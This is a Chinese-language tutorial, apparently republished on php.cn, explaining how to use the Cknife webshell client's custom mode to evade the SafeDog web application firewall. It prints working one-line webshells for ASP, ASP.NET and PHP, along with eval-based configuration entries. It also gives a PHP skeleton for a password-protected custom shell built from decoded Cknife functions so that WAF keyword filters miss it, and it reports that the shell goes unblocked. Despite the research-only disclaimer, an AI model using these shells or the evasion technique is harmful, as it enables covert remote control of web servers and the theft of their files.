Home > Backend Development > PHP Tutorial > 打狗棒法之:Cknife(C刀)自定义模式秒过安全狗

打狗棒法之:Cknife(C刀)自定义模式秒过安全狗

WBOY
Release: 2016-06-23 13:13:34
Original
2628 people have browsed it

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

相关阅读:

跨平台版中国菜刀Cknife发布

Cknife,跨平台版中国菜刀正式开源

0×00 前言

很多朋友在使用Cknife时都误以为她只是菜刀的跨平台升级版,仅仅多了跨平台的功能,其实小伙伴们还没有用到精髓之处, 她其实也是一款过 WAF 的利器。 没有给大家讲解如何去使用它这是我的责任,我是一个有责任心的基佬,我会对大家负责的,于是有了下面的文章:

0×01 两种方法

Cknife有两种过WAF模式,一种为修改配置文件(Config.ini)过WAF,另外一种为 Customize( 自定义 ) 模式过 WAF 。 今天以自定义模式为例实例讲解秒过安全狗,当然文章发布过后各大WAF厂商肯定会将某些特征列入黑名单,这里只是抛砖引玉提供思路。

0×02 ReadMe.txt

很多朋友在使用软件的时候都很少会关注她,这里我附上它的有关于过 WAF 方面的一些内容,请大家 仔细阅读红色部分。

[此处省略1W字]

使用说明:

服务端脚本支持ASP、ASPX、PHP、JSP、Customize(自定义)。

代码包含且不限于如下代码(只要能构造出类似eval的函数就行,比如PHP的create_function、assert等)

ASP:

<%eval request("Cknife")%>
Copy after login

ASP.NET:

<%@ PageLanguage="Jscript"%><%eval(Request.Item["Cknife"],"unsafe");%>
Copy after login

PHP:

<?php @eval($_POST['Cknife']);?>
Copy after login

JSP:

[代码详见1.jsp]

Customize:

自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与C刀进行交互即可。此模式可按需定制,比如只要浏览目录,或是只要虚拟终端功能,代码可以很简短。

过WAF:

这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义,主程序只是图形的展示,以及数据的发送。

我分开了每一个步骤写入到配置文件里面,用户可以自定义任何代码,包括更改参数名称,参数内容。

比如:

 SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel设置皮肤为nimbusSPL=->|                                               表示截取数据的开始符号SPR=|<-                                               表示截取数据的结束符号CODE=code                                      编码参数ACTION=action                                      动作参数PARAM1=z1                                     参数1PARAM2=z2                                     参数2PHP_BASE64=1                                       当为PHP时,Z1,Z2参数是否开启自动base64加密,如果想定义自己的加密方式则关闭设置为0PHP_MAKE=@eval(base64_decode($_POST[action]));生成方式,这里可以不用该方式,可以用你任何想要的方式PHP_INDEX=...                                    显示主页功能的代码放这儿PHP_READDICT=...                                     读取主页功能的代码放这儿PHP_READFILE=...                                      读取文件功能的代码放这儿PHP_DELETE=...                                    删除文件夹以及文件功能的代码放这儿PHP_RENAME=...                                    重命名文件夹以及文件功能的代码放这儿PHP_NEWDICT=...                                    新建目录功能的代码放这儿PHP_UPLOAD=...                           上传文件功能的代码放这儿PHP_DOWNLOAD=...                                    下载文件功能的代码放这儿PHP_SHELL=...                                   虚拟终端功能的代码放这儿PHP_DB_MYSQL=...                                   管理MYSQL数据库功能的代码放这儿ASP_...=...ASPX_...=...JSP_...=...
Copy after login

除了修改以上参数过WAF外,程序还额外提供了一种Customize过WAF的模式。

Customize模式原本是用于支持一些程序默认不支持的脚本,比如CFM、ASMX、ASHX、PY等等,只要用户自写的脚本能正确与菜刀进行交互即可。

换一个思考方式,如果我们自写一个PHP脚本实现了列文件以及目录的功能,它能够正确的与C刀进行交互,这个时候如果我们选择PHP(Eval)的连接方式就会连接失败。

应该选择Customize模式进行连接。有人说为什么一句话就可以连接,你偏偏还要写这么多代码用Customize模式连接?如果一个很厉害的WAF检测eval,assert等关键词

,你的一句话实在是饶不过,这个时候你可以不用一句话,就在PHP脚本里用正常代码实现列文件以及目录,然后用Customize模式连接就达到了过WAF的目的。

Customize(自定义)模式跟其他模式一样,每一个步骤也都写入到配置文件里面,用户同样可以参数名称以及参数内容。

比如你自写了用Customize模式连接的Customize.php服务端。

显示主页功能提交的参数应该是:密码=1&action=index以及密码=1&action=readdict。

如果C刀普及以后WAF厂商肯定会把readdict列入黑名单,这个时候你就可以修改readdict的名称为其他名称,同样可以修改action的名称,也可以修改1为其他字符

CUS_MAKE=1CUS_INDEX=indexCUS_READDICT=readdictCUS_READFILE=readfileCUS_SAVEFILE=savefileCUS_DELETE=deleteCUS_RENAME=renameCUS_NEWDICT=newdictCUS_UPLOAD=uploadCUS_DOWNLOAD=downloadCUS_SHELL=shell[此处省略1W字]
Copy after login

0×03 自定义模式过WAF原理

如果只是使用一句话,很多厂商都查杀了eval等敏感关键词,也查杀了传递过程中数据包中的敏感关键词。我们只需要正常的实现列目录、读文件等功能并且没有包含eval等敏感关键词就可以绕过WAF, 即服务端不使用一句话,而是把功能代码都放在服务端来执行,客户端提交正常的数据包。

0×04 过狗准备

有的朋友说还要自己写列目录、读文件等等这些功能啊,那肯定没戏了。其实不需要自己写,只需要复制粘贴修改即可。

你要有点编程基础(不用担心只要会 if 语句就行),然后按照我给的框架添加就行。以 PHP 为例:

框架如下:

$pwd= 'Cknife';        // 密码

if($_POST [$pwd] == 1) {

$act = $_POST ['action'];         // action 名称

echo ("->|");    // 前分隔符

if ($act == 'index') {           // 显示主页功能

} else if ($act == 'readdict') {   // 读取目录功能

} else if ($act == …)          // 你想要实现的功能,可以从 Config.ini 里面解密出来使用

{

}

echo ("|

}

?>

首先打开咋们可爱的Config.ini文件,找到PHP_INDEX

它是C刀文件管理显示主页的功能,我们先把它解密,先url解密再base64解密

把解密结果放到eclipse里面,自动整理下(右键Source->Format)

去掉 echo (“->|”) 前面的所有代码,去掉 echo (“|

然后就是找到PHP_READDICT解密, 这里要 注意 解密出来 z1 参数前面有 base64_decode 函数,我们的 自定义模式下传递方式是原文传递 ,不会自动 base64 加密, 所以要去掉 base64_decode 函数

还是老规矩,去掉 echo (“->|”) 前面的所有代码,去掉 echo (“|

最后按照前面的方式再加入读取文件的功能,即PHP_READFILE

把代码保存为test.php,然后选用自定义模式连接

测试发现并没有拦截

我们尝试下一句话连接,发现会被拦截

source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template